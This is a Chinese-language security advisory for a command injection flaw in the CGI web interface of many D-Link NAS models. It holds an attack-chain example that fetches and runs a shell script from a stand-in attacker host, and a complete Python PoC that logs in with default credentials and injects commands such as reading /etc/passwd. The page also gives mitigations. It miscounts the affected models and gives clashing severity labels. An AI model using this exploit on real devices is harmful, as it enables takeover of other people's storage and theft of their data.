IPBUF安全漏洞报告
English
CVE-2026-4205 CVSS 6.3 中危

D-Link多型号NAS设备命令注入漏洞(CVE-2026-4205)

披露日期: 2026-03-16

漏洞信息

漏洞编号
CVE-2026-4205
漏洞类型
命令注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
D-Link DNS-120, DNR-202L, DNS-315L, DNS-320, DNS-320L, DNS-320LW, DNS-321, DNR-322L, DNS-323, DNS-325, DNS-326, DNS-327L, DNR-326, DNS-340L, DNS-343, DNS-345, DNS-726-4, DNS-1100-4, DNS-1200-05, DNS-1550-04

相关标签

命令注入CVE-2026-4205D-LinkNAS设备CGI漏洞远程代码执行DNS系列DNR系列网络存储Web管理界面

漏洞概述

CVE-2026-4205是D-Link多款NAS(网络附加存储)设备中存在的高危命令注入漏洞。该漏洞影响D-Link DNS系列和DNR系列共21款设备,攻击者可通过构造恶意请求利用cgi_refresh_db、FTP_Server_BlockIP_Add和FTP_Server_BlockIP_Del函数注入操作系统命令。由于攻击复杂度低且无需高权限即可实施,远程攻击者可完全控制受影响设备。漏洞已于2026年2月5日前被发现并披露,官方尚未发布完整补丁。此类漏洞可被用于建立持久化后门、窃取敏感数据或将其纳入僵尸网络。鉴于D-Link设备在中小企业和家庭网络中的广泛部署,该漏洞具有较高的实际威胁性,建议立即采取缓解措施。

技术细节

漏洞根因在于D-Link NAS设备的Web管理界面/cgi-bin/app_mgr.cgi CGI程序未对用户输入进行充分过滤。cgi_refresh_db、FTP_Server_BlockIP_Add和FTP_Server_BlockIP_Del三个函数直接拼接用户可控参数到系统命令执行。以cgi_refresh_db为例,攻击者可在请求参数中注入分号(;)、管道符(|)或反引号(`)等shell特殊字符,后跟恶意命令。攻击者通过HTTP POST请求向/cgi-bin/app_mgr.cgi发送构造的参数,利用设备默认的HTTP服务(通常以root权限运行)执行任意系统命令。由于函数设计用于刷新数据库或管理FTP黑名单,攻击者无需高级权限即可触发漏洞利用。成功利用后可获得设备的完全控制权,执行wget下载后门、添加SSH公钥或修改系统配置等操作。

攻击链分析

STEP 1
1.侦察阶段
攻击者扫描互联网或内网中暴露的D-Link NAS设备,确认设备型号和固件版本,检查/cgi-bin/app_mgr.cgi端点是否存在
STEP 2
2.认证阶段
使用设备默认或已泄露的低权限凭证(如admin/admin)登录Web管理界面,获取有效会话Cookie
STEP 3
3.漏洞利用
构造HTTP POST请求到/cgi-bin/app_mgr.cgi,在cmd参数中指定cgi_refresh_db等函数,在param参数中注入shell命令(如;wget http://attacker.com/shell.sh|bash)
STEP 4
4.命令执行
设备CGI程序未过滤特殊字符直接将参数拼接入system()调用,以root权限执行注入的命令
STEP 5
5.持久化控制
下载并安装后门程序、添加SSH公钥或修改启动脚本建立持久化访问,可选进行横向移动或数据窃取

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2026-4205 D-Link NAS Command Injection PoC Target: /cgi-bin/app_mgr.cgi Functions: cgi_refresh_db, FTP_Server_BlockIP_Add, FTP_Server_BlockIP_Del """ import requests import sys TARGET = "http://<target-ip>" LOGIN_URL = f"{TARGET}/cgi-bin/login.cgi" EXPLOIT_URL = f"{TARGET}/cgi-bin/app_mgr.cgi" def login(): """Authenticate with low-privilege credentials""" data = { "username": "admin", "password": "admin" } try: resp = requests.post(LOGIN_URL, data=data, timeout=10) return resp.cookies except: return {} def exploit_command_injection(cookies, function, cmd): """ Inject command via specified function function: cgi_refresh_db | FTP_Server_BlockIP_Add | FTP_Server_BlockIP_Del cmd: command to execute (e.g., 'cat /etc/passwd') """ payload = f";{cmd}" data = { "cmd": function, "param": payload } try: resp = requests.post(EXPLOIT_URL, data=data, cookies=cookies, timeout=10) return resp.text except Exception as e: return f"Error: {e}" if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target-ip> [command]") sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] if len(sys.argv) > 2 else "cat /etc/passwd" TARGET = f"http://{target}" LOGIN_URL = f"{TARGET}/cgi-bin/login.cgi" EXPLOIT_URL = f"{TARGET}/cgi-bin/app_mgr.cgi" print(f"[*] Logging in to {target}...") cookies = login() print(f"[*] Exploiting {EXPLOIT_URL} with command: {cmd}") result = exploit_command_injection(cookies, "cgi_refresh_db", cmd) print(f"[+] Result:\n{result}")

影响范围

D-Link DNS-120 (固件 <= 20260205)
D-Link DNR-202L (固件 <= 20260205)
D-Link DNS-315L (固件 <= 20260205)
D-Link DNS-320/DNS-320L/DNS-320LW (固件 <= 20260205)
D-Link DNS-321 (固件 <= 20260205)
D-Link DNR-322L (固件 <= 20260205)
D-Link DNS-323 (固件 <= 20260205)
D-Link DNS-325/DNS-326/DNS-327L (固件 <= 20260205)
D-Link DNR-326 (固件 <= 20260205)
D-Link DNS-340L (固件 <= 20260205)
D-Link DNS-343 (固件 <= 20260205)
D-Link DNS-345 (固件 <= 20260205)
D-Link DNS-726-4 (固件 <= 20260205)
D-Link DNS-1100-4 (固件 <= 20260205)
D-Link DNS-1200-05 (固件 <= 20260205)
D-Link DNS-1550-04 (固件 <= 20260205)

防御指南

临时缓解措施
在官方补丁发布前,建议采取以下临时缓解措施:(1) 通过防火墙或ACL规则限制对设备管理端口(HTTP 80/HTTPS 443)的访问,仅允许受信任的IP地址段访问;(2) 禁用设备的互联网暴露,将管理界面绑定至内网接口;(3) 修改默认Web管理密码为强密码,并检查是否存在未知的管理员账户;(4) 监控设备日志,关注异常的CGI请求模式;(5) 如业务允许,考虑暂时关闭FTP服务器功能和数据库刷新功能以减少攻击面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表